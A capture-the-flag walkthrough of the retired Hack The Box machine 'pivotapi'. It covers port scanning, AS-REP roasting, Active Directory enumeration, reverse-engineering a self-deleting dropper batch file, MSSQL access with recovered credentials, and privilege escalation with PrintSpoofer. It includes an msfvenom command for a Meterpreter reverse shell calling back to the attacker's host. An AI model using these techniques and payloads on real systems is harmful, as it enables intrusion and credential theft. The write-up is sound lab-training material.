This post documents the complete walkthrough of pivotapi, a retired vulnerable VM created by CyberVaca and 3v4Si0N, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

pivotapi is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.240 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-05-10 03:35:07 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 139/tcp on 10.10.10.240
Discovered open port 53/tcp on 10.10.10.240
Discovered open port 445/tcp on 10.10.10.240
Discovered open port 3268/tcp on 10.10.10.240
Discovered open port 21/tcp on 10.10.10.240
Discovered open port 49670/tcp on 10.10.10.240
Discovered open port 49667/tcp on 10.10.10.240
Discovered open port 9389/tcp on 10.10.10.240
Discovered open port 389/tcp on 10.10.10.240
Discovered open port 53/udp on 10.10.10.240
Discovered open port 49669/tcp on 10.10.10.240
Discovered open port 49673/tcp on 10.10.10.240
Discovered open port 49697/tcp on 10.10.10.240
Discovered open port 3269/tcp on 10.10.10.240
Discovered open port 135/tcp on 10.10.10.240
Discovered open port 636/tcp on 10.10.10.240
Discovered open port 22/tcp on 10.10.10.240
Discovered open port 88/tcp on 10.10.10.240
Discovered open port 49781/tcp on 10.10.10.240
Discovered open port 464/tcp on 10.10.10.240
Discovered open port 1433/tcp on 10.10.10.240
Discovered open port 593/tcp on 10.10.10.240

Sure looks like the open-port profile of a Windows machine. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p21,22,53,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -A --reason 10.10.10.240 -oN nmap.txt
...
PORT     STATE SERVICE       REASON          VERSION
21/tcp   open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
| ftp-syst:
|_  SYST: Windows_NT
22/tcp   open  ssh           syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2021-05-10 03:46:54Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
1433/tcp open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   Target_Name: LICORDEBELLOTA
|   NetBIOS_Domain_Name: LICORDEBELLOTA
|   NetBIOS_Computer_Name: PIVOTAPI
|   DNS_Domain_Name: LicorDeBellota.htb
|   DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|   DNS_Tree_Name: LicorDeBellota.htb
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-10T03:45:28
| Not valid after:  2051-05-10T03:45:28
| MD5:   356d 2b4e 73c6 de17 92e4 a569 33f6 2873
|_SHA-1: 2d34 2297 c367 5020 8497 0937 69cd f6c9 0715 ced6
|_ssl-date: 2021-05-10T03:47:40+00:00; 0s from scanner time.
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
9389/tcp open  mc-nmf        syn-ack ttl 127 .NET Message Framing
...
Host script results:
| ms-sql-info:
|   10.10.10.240:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2021-05-10T03:47:02
|_  start_date: N/A

Hmm, since anonymous FTP is available, let’s check that out first.

Anonymous FTP

These are the files we see.

Let’s get ‘em all!

README.txt
VERY IMPORTANT!!
Don't forget to change the download mode to binary so that the files are not corrupted.

Yep, already did that. One of the notes, notes2.pdf had an interesting creator and publisher.

ASREPRoast

Armed with the domain and username, let’s see if we can harvest the non-preauth AS_REP responses with Impacket’s GetNPusers.py for offline cracking.

Well, what do you know! Cracking offline with John the Ripper proves to be equally easy and fast.

Now that we have credential (LICORDEBELLOTA\Kaorz:Roper4155), let’s enumerate further…

RPC Enumeration

Time to check out what Active Directory has to offer with the tried-n-tested rpcclient.

Domain Users

rpcclient -U 'LICORDEBELLOTA/Kaorz%Roper4155' //10.10.10.240
rpcclient $> enumdomusers
user:[Administrador] rid:[0x1f4]
user:[Invitado] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[cybervaca] rid:[0x3e8]
user:[3v4Si0N] rid:[0x453]
user:[Kaorz] rid:[0x455]
user:[jari] rid:[0x45c]
user:[superfume] rid:[0x45d]
user:[Dr.Zaiuss] rid:[0x45e]
user:[svc_mssql] rid:[0x464]
user:[sshd] rid:[0x467]
user:[gibdeon] rid:[0x468]
user:[lothbrok] rid:[0x469]
user:[0xVIC] rid:[0x46b]
user:[StooormQ] rid:[0x46c]
user:[manulqwerty] rid:[0x46d]
user:[borjmz] rid:[0x46e]
user:[v1s0r] rid:[0x46f]
user:[FrankyTech] rid:[0x470]
user:[Gh0spp7] rid:[0x471]
user:[socketz] rid:[0x472]
user:[Fiiti] rid:[0x473]
user:[OscarAkaElvis] rid:[0x474]
user:[Jharvar] rid:[0x475]
user:[aDoN90] rid:[0x476]
user:[ippsec] rid:[0x1db6]
user:[0xdf] rid:[0x1db7]
user:[a] rid:[0x277a]

We sure have many interesting usernames here…

Members of the builtin group “Remote Management Users”

I know WinRM ports 5985/tcp or 5986/tcp are not opened but indulge me for a while. Besides, it’s a good enumeration exercise.

rpcclient $> enumalsgroups builtin
group:[Opers. de servidores] rid:[0x225]
group:[Opers. de cuentas] rid:[0x224]
group:[Acceso compatible con versiones anteriores de Windows 2000] rid:[0x22a]
group:[Creadores de confianza de bosque de entrada] rid:[0x22d]
group:[Grupo de acceso de autorización de Windows] rid:[0x230]
group:[Servidores de licencias de Terminal Server] rid:[0x231]
group:[Administradores] rid:[0x220]
group:[Usuarios] rid:[0x221]
group:[Invitados] rid:[0x222]
group:[Opers. de impresión] rid:[0x226]
group:[Operadores de copia de seguridad] rid:[0x227]
group:[Duplicadores] rid:[0x228]
group:[Usuarios de escritorio remoto] rid:[0x22b]
group:[Operadores de configuración de red] rid:[0x22c]
group:[Usuarios del monitor de sistema] rid:[0x22e]
group:[Usuarios del registro de rendimiento] rid:[0x22f]
group:[Usuarios COM distribuidos] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Operadores criptográficos] rid:[0x239]
group:[Lectores del registro de eventos] rid:[0x23d]
group:[Acceso DCOM a Serv. de certif.] rid:[0x23e]
group:[Servidores de acceso remoto RDS] rid:[0x23f]
group:[Servidores de extremo RDS] rid:[0x240]
group:[Servidores de administración RDS] rid:[0x241]
group:[Administradores de Hyper-V] rid:[0x242]
group:[Operadores de asistencia de control de acceso] rid:[0x243]
group:[Usuarios de administración remota] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]

Heck, I don’t speak/write Spanish but I think “Usuarios de administración remota” is the one. Now, we query the members inside this group.

rpcclient $> queryaliasmem builtin 0x244
    sid:[S-1-5-21-842165252-2479896602-2762773115-1116]
    sid:[S-1-5-21-842165252-2479896602-2762773115-1125]

Who are these two SIDs?

rpcclient $> lookupsids S-1-5-21-842165252-2479896602-2762773115-1116
S-1-5-21-842165252-2479896602-2762773115-1116 LICORDEBELLOTA\jari (1)
rpcclient $> lookupsids S-1-5-21-842165252-2479896602-2762773115-1125
S-1-5-21-842165252-2479896602-2762773115-1125 LICORDEBELLOTA\WinRM (2)

Who is jari?

rpcclient $> queryuser 0x45c
    User Name   : jari
    Full Name   : Jari Laox
    Home Drive  :
    Dir Drive   :
    Profile Path:
    Logon Script:
    Description :
    Workstations:
    Comment     :
    Remote Dial :
    Logon Time               :  Sat, 08 Aug 2020 14:21:58 UTC
    Logoff Time              :  Thu, 01 Jan 1970 00:00:00 UTC
    Kickoff Time             :  Thu, 01 Jan 1970 00:00:00 UTC
    Password last set Time   :  Mon, 10 May 2021 05:12:52 UTC
    Password can change Time :  Tue, 11 May 2021 05:12:52 UTC
    Password must change Time:  Thu, 14 Sep 30828 02:48:05 UTC
    unknown_2[0..31]...
    user_rid :  0x45c
    group_rid:  0x201
    acb_info :  0x00000210
    fields_present:     0x00ffffff
    logon_divs: 168
    bad_password_count: 0x00000000
    logon_count:  0x00000002
    padding1[0..7]...
    logon_hrs[0..21]...

Hmm, WinRM doesn’t seem to be enabled and yet we have jari in the Remote Management Users group?

SMB Enumeration

Let’s switch over to SMB and see what we get.

Hmm, what do we have here? Same thing, get ‘em all.

Extracting Server MSSQL.msg

Here I’m using msgconvert from libemail-outlook-message-perl to convert Outlook .msg files to .eml files.

Before I forget, cybervaca is in the Administrators group.

Extracting WinRM Service.msg

Ah, now this makes more sense.

Analysis of Restart-OracleService.exe

If I had to guess, I would say the next step is to analyze Restart-OracleService.exe. Using Process Monitor from SysInternals, I was able to determine that upon execution of Restart-OracleService.exe, a batch file is created and executed, and then the batch file is deleted without a single trace of existence. I may be wrong but somehow this seems like the behavior of a fileless malware.

So, the next question is how do I get my hands on the batch file without it being deleted? My approach is rather simple really—use x64dbg to analyze Restart-OracleService.exe and step through until I see a batch file in %TEMP% folder.

This is the contents of the batch file. It’s a rather large file with many lines of base64-encoded strings.

@shift /0
@echo off

if %username% == cybervaca goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error

:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
echo aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYKAAAAAAAAAAAAAAAAAPAALwILAgIfAG >> c:\programdata\oracle.txt
...
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe

:error

You can see that the batch file gets executed if and only if the username is cybervaca or frankytech or ev4si0n. The long base64-encoded string in c:\programdata\oracle.txt is then decoded to c:\programdata\restart-service.exe in PowerShell, and gets executed before it’s deleted in the batch file.

One can simply let Windows do the job of decoding restart-service.exe without executing it by commenting out these lines, by adding a REM at the beginning of the line like so.

REM if %username% == cybervaca goto correcto
REM if %username% == frankytech goto correcto
REM if %username% == ev4si0n goto correcto
REM goto error

REM del c:\programdata\monta.ps1
REM del c:\programdata\oracle.txt
REM c:\programdata\restart-service.exe
REM del c:\programdata\restart-service.exe

To my pleasant surprise, both Restart-OracleService.exe and restart-service.exe were already submitted to VirusTotal for analysis.

For Restart-OracleService.exe (MD5: c701444da19a0c590007e6b4cfa314b2), if you go to the Community tab in VirusTotal, you can visit Joe Sandbox analysis result to download the dropped batch file without going through what I’ve done.

Community tab in VirusTotal

Created/dropped files in Joe Sandbox

Analysis of restart-service.exe

There isn’t such luck for restart-service.exe (MD5: 469e8f262dfb59aa9203c51936402a37) in VirusTotal. However, something did caught my eye in the Details tab.

Hmm, but there’s no .NET Assembly information! What’s going on?

API Monitor V2

When I monitor the process restart-service.exe in API Monitor v2, one of the loaded modules is clr.dll, which is the Common Language Runtime engine for .NET 4.0 onwards.

Dumping .NET Assembly

Something tells me that a .NET Assembly exists in restart-service.exe albeit in an encrypted or obfuscated form. My approach to dump the .NET Assembly is similar to how I dumped the batch file above. This time around, I’m looking at the Memory Map in x64dbg.

Open restart-service.exe in x64dbg and place a breakpoint at 0x4017B0. This is the overview of sub_4017B0 in IDA Pro.

You may ask how do I know where to place the breakpoint. Well, I’d already stepped through the subroutines in x64dbg, in conjunction with IDA Pro, essentially having a debugger and disassembler side-by-side. The subroutine contains a series of Windows syscalls. This is the last syscall which is NtWaitForSingleObject.

Right after this syscall, the .NET Assembly is executed as shown in the console window.

Next, we hit Ctrl-B in Memory Map of x64dbg to find CLR metadata of the .NET Assembly like so.

We have a hit!

You may be wondering. What the hell is 48 00 00 00 02 00 05 00? I got the following image from this article.

Basically that’s our CLR header, with the following information:

  1. 48 00 00 00. The size of the header. As the header is a fixed size, this is always 0x48.

  2. 02 00. The CLR major version. This is always 2, even for .NET 4 assemblies.

  3. 05 00. The CLR minor version. This is always 5, even for .NET 4 assemblies, and seems to be ignored by the runtime.

To cut the story short, we need to dump out memory range 26c0000 — 26c3000. That’s our .NET Assembly file in its entirety.

dnSpy

Now, load the .NET Assembly file that we have dumped into dnSpy. You should see the runas assembly like so.

And what do we have here? A pair of credential (svc_oracle:#oracle_s3rV1c3!2010) for restarting the Oracle service.

Foothold

Recall the email talking about migrating to MSSQL in 2020 from Oraclce in 2010? What if helpdesk use the same username and password convention, i.e. this credential (svc_mssql:#mssql_s3rV1c3!2020)? Let’s use CrackMapExec for a quick verification.

cme mssql 10.10.10.240 -u svc_mssql -p '#mssql_s3rV1c3!2020'
MSSQL       10.10.10.240    1433   PIVOTAPI         [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb)
MSSQL       10.10.10.240    1433   PIVOTAPI         [-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\svc_mssql'.

What the heck? Time to use Google Translate.

Don’t tell the username is sa? In that case I need to pass --local-auth to CrackMapExec.

cme mssql 10.10.10.240 -u sa -p '#mssql_s3rV1c3!2020' --local-auth
MSSQL       10.10.10.240    1433   PIVOTAPI         [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:PIVOTAPI)
MSSQL       10.10.10.240    1433   PIVOTAPI         [+] sa:#mssql_s3rV1c3!2020 (Pwn3d!)

Sweet. Armed with this information, let’s use Alamot’s mssql_shell.py to get ourselves a shell.

Privilege Escalation

During enumeration of this account, I notice this account has special privileges!

And it’s running Windows Server 2019.

PrintSpoofer

This exploit fits the bill perfectly! It’s beyond the scope of this write-up to discuss how to build PrintSpoofer.exe but trust me, it’s actually easy to do that in Visual Studio Community Edition. Once we have PrintSpoofer.exe, we can use mssql_shell.py to UPLOAD it to the remote machine.

But first, we need to create a temp folder in C:\.

Then the UPLOAD.

How do I get a shell with NT AUTHORITY\SYSTEM privileges? During enumeration, I’ve noticed that all outbound remote connections are blocked by the Windows Defender Firewall. Well, what do we do about it? Let’s use PrintSpoofer.exe to disable it. Then we upload a Meterpreter to gain a shell as NT AUTHORITY\SYSTEM!

Disable Windows Defender Firewall

Meterpreter

Use msfvenom to generate our Meterpreter payload like so.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.16.125 LPORT=1234 -f exe -o met.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200262 bytes
Final size of exe file: 206848 bytes
Saved as: met.exe

UPLOAD our payload.

Set up multi/handler in msfconsole to receive our Meterpreter.

Execute Meterpreter in the remote machine like so.

Here comes our Meterpreter!

Armed with such a powerful shell, the rest is trivial. Here’s how to use DIR.exe to look for the flags.

:dancer: